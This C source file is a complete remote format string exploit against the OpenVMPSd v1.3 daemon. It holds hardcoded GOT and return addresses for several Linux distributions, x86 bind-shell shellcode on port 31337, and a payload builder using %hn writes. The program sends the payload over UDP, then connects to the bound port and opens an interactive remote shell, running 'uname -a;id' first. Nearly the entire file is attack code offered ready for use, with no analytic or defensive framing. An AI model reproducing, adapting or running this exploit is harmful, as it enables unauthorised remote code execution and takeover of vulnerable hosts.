#include <getopt.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <netdb.h>

#include <errno.h>

#include <netinet/in.h>

#include <stdio.h>

void Usage(char *);

void fatal(char *);

int CreateEvilBuffer(int, int, int, int, char *);

void ExecuteShell(int);

void SendBuffer(int , char *, int);

int CreateUdpSocket(void);

int ConectToHost(char *, int);

#define DEFAULT_PORT 1589 // Default server port

#define BIND_PORT 31337 // Default port to bind

#define NOPSIZE 50 // Do not change this value cause the shellcode space is "limited"

#define NOP 0x90 // Nop value

#define PAD "..." // Format string alignment

#define PORT_OFFSET 29 // Offset to fix the shellcode

{

char *Name;

int Gotaddr;

int Retaddr;

int Pop;

}Targets[] =

{

"OpenVMPSd v1.3 @ Slackware 10.0",

0x0804e57c,

0xbffff4f5,

19,

"OpenVMPSd v1.3 @ Debian 3.0 Linux",

0x0804d0f8,

0xbffff7ac,

29,

"OpenVMPSd v1.3 @ Fedora Core 2",

0x0804d0f8,

0xbffff7ac,

19,

// Finish

0,

0,

0,

0

};

char shellcode[] =

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"

"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"

"\x89\xc7\x52\x66\x68"

"BP" // Port to bind

"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80"

"\xb0\x66\xb3\x04\xcd\x80"

"\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80"

"\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"

"\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80";

#define SIZE_OF_HEADER 14

char header[] = "\x41\x01\x41\x01\x41\x41\x41\x41\x00\x00\x0c\x02";

int main(int argc, char **argv)

{

extern char *optarg;

extern int optind;

char opt;

char *Host = NULL;

int Port = DEFAULT_PORT;

int BindPort = BIND_PORT;

int TargetNumber = 0;

int Sock,i;

char *EvilBuffer;

int BufLen;

fprintf(stdout,"\n--=[ OpenVMPSd Remote Format String Exploit ]\n\n");

// Process arguments

while ( (opt = getopt(argc,argv,"h:t:p:r:")) != EOF)

{

switch(opt)

{

case 'r':

BindPort = atoi(optarg);

if(!BindPort) Usage(argv[0]);

break;

case 'p':

Port = atoi(optarg);

if(!Port) Usage(argv[0]);

break;

case 't':

TargetNumber = atoi(optarg);

break;

case 'h':

Host = optarg;

break;

default: Usage(argv[0]);

break;

}

}

if(Host == NULL) Usage(argv[0]);

// Verify target

for(i=0;;i++)

if(Targets[i].Name == 0) break;

if(--i<TargetNumber) Usage(argv[0]);

fprintf(stdout,"[*] Target plataform : %s\n",Targets[TargetNumber].Name);

fprintf(stdout,"[*] Target host : %s\n",Host);

fprintf(stdout,"[*] Target port : %u\n",Port);

fprintf(stdout,"[*] Bind to port : %u\n",BindPort);

fprintf(stdout,"[*] Target GOT : %#010x\n",Targets[TargetNumber].Gotaddr);

fprintf(stdout,"[*] Target Retaddr : %#010x\n",Targets[TargetNumber].Retaddr);

fprintf(stdout,"[*] Target POP : %d\n\n",Targets[TargetNumber].Pop);

fprintf(stdout,"[*] Connecting\t\t : ");

fflush(stdout);

Sock = ConectToHost(Host,Port);

if(Sock == -1) fatal("Could not connect");

else fprintf(stdout,"done\n");

fprintf(stdout,"[*] Creating EvilBuffer\t : ");

fflush(stdout);

EvilBuffer = (char *)malloc(strlen(shellcode)+NOPSIZE+strlen(PAD)+515);

if(!EvilBuffer) fatal("Out of memory");

BufLen = CreateEvilBuffer(Targets[TargetNumber].Gotaddr,Targets[TargetNumber].Retaddr,Targets[TargetNumber].Pop,BindPort,EvilBuffer);

fprintf(stdout,"done\n");

fprintf(stdout,"[*] Attacking\t\t : ");

fflush(stdout);

SendBuffer(Sock,EvilBuffer,BufLen);

fprintf(stdout,"done\n");

close(Sock);

sleep(1);

Sock = ConectToShell(Host,BindPort);

if(Sock == -1) {

fprintf(stdout,"[*] Exploit Failed.\n\n");

exit(0);

}

else {

fprintf(stdout,"[*] Spawning Shell...\n\n");

ExecuteShell(Sock);

close(Sock);

}

}

void SendBuffer(int Sock, char *Buffer, int size)

{

if(send(Sock,Buffer,size,0) == -1)

fatal("SEND");

}

int ConectToHost(char *Host,int Port)

{

struct sockaddr_in server;

struct hostent *hp;

int s;

server.sin_family = AF_INET;

hp = gethostbyname(Host);

if(!hp) return(-1);

memcpy(&server.sin_addr,hp->h_addr,hp->h_length);

server.sin_port = htons(Port);

s = socket(PF_INET,SOCK_DGRAM,0);

if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0)

return(-1);

return(s);

}

int ConectToShell(char *Host,int Port)

{

struct sockaddr_in server;

struct hostent *hp;

int s;

server.sin_family = AF_INET;

hp = gethostbyname(Host);

if(!hp) return(-1);

memcpy(&server.sin_addr,hp->h_addr,hp->h_length);

server.sin_port = htons(Port);

s = socket(PF_INET,SOCK_STREAM,0);

if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0)

return(-1);

return(s);

}

int CreateEvilBuffer(int GOT, int RETADDR, int POP, int BINDTOPORT, char *buffer)

{

char *nops = malloc(NOPSIZE+1);

char *ptr;

unsigned short *len;

unsigned short *portPtr = (unsigned short *)(shellcode+PORT_OFFSET);

// Fix shellcode

*portPtr = htons(BINDTOPORT);

// Header

ptr = buffer;

memcpy(ptr,header,12);

ptr += SIZE_OF_HEADER;

len = (unsigned short *)(buffer + SIZE_OF_HEADER - 2);

// Create Nops

bzero(nops,NOPSIZE+1);

memset(nops,NOP,NOPSIZE);

// Create format string attack

sprintf(ptr,

PAD

"%c%c%c%c"

"%c%c%c%c"

"%%.%dd"

"%%%d$hn"

"%%.%dd"

"%%%d$hn"

"%s%s",

((u_long)GOT),

((u_long)GOT >> 8),

((u_long)GOT >> 16),

((u_long)GOT >> 24),

((u_long)GOT+2),

(((u_long)GOT+2) >> 8),

(((u_long)GOT+2) >> 16),

(((u_long)GOT+2) >> 24),

((RETADDR & 0x0000FFFF) - 9 - 63),

POP,

(((RETADDR & 0xFFFF0000)>>16) + 0x10000 - (RETADDR & 0x0000FFFF)) - 1,

POP+1,nops,shellcode);

*len = htons(strlen(ptr));

return (strlen(ptr)+14);

}

#define STDIN 0

#define STDOUT 1

void ExecuteShell(int Sock)

{

char buffer[1024 * 10];

int count;

fd_set readfs;

write(Sock,"uname -a;id\n",12);

while(1)

{

FD_ZERO(&readfs);

FD_SET(STDIN, &readfs);

FD_SET(Sock, &readfs);

if(select(Sock + 1, &readfs, NULL, NULL, NULL) > 0)

{

if(FD_ISSET(STDIN, &readfs))

{

if((count = read(STDIN, buffer, 1024)) <= 0)

{

if(errno == EWOULDBLOCK || errno == EAGAIN)

continue;

else

{

close(Sock);

exit(-1);

}

}

write(Sock, buffer, count);

}

if(FD_ISSET(Sock, &readfs))

{

if((count = read(Sock, buffer, 1024)) <= 0)

{

if(errno == EWOULDBLOCK || errno == EAGAIN)

continue;

else

{

close(Sock);

exit(-1);

}

}

write(STDOUT, buffer, count);

}

}

}

}

void fatal(char *ErrorMsg)

{

fprintf(stderr,"ERROR - %s\n\n",ErrorMsg);

exit(1);

}

void Usage(char *Prog)

{

int i;

fprintf(stderr, "Usage: %s -h hostname <options>\n\n"

"Options:\n\n"

" -t target : Select the target\n"

" -p portnumber : Sets a new port number <default: %d>\n"

" -r bindport : Sets the port to bind a shell <default: %d>\n\n"

"Targets:\n\n",Prog,DEFAULT_PORT,BIND_PORT);

for(i=0;;i++)

{

if(Targets[i].Name != 0)

fprintf(stderr," [%u] %s\n",i,Targets[i].Name);

else

break;

}

fprintf(stderr,"\n");

exit(1);

}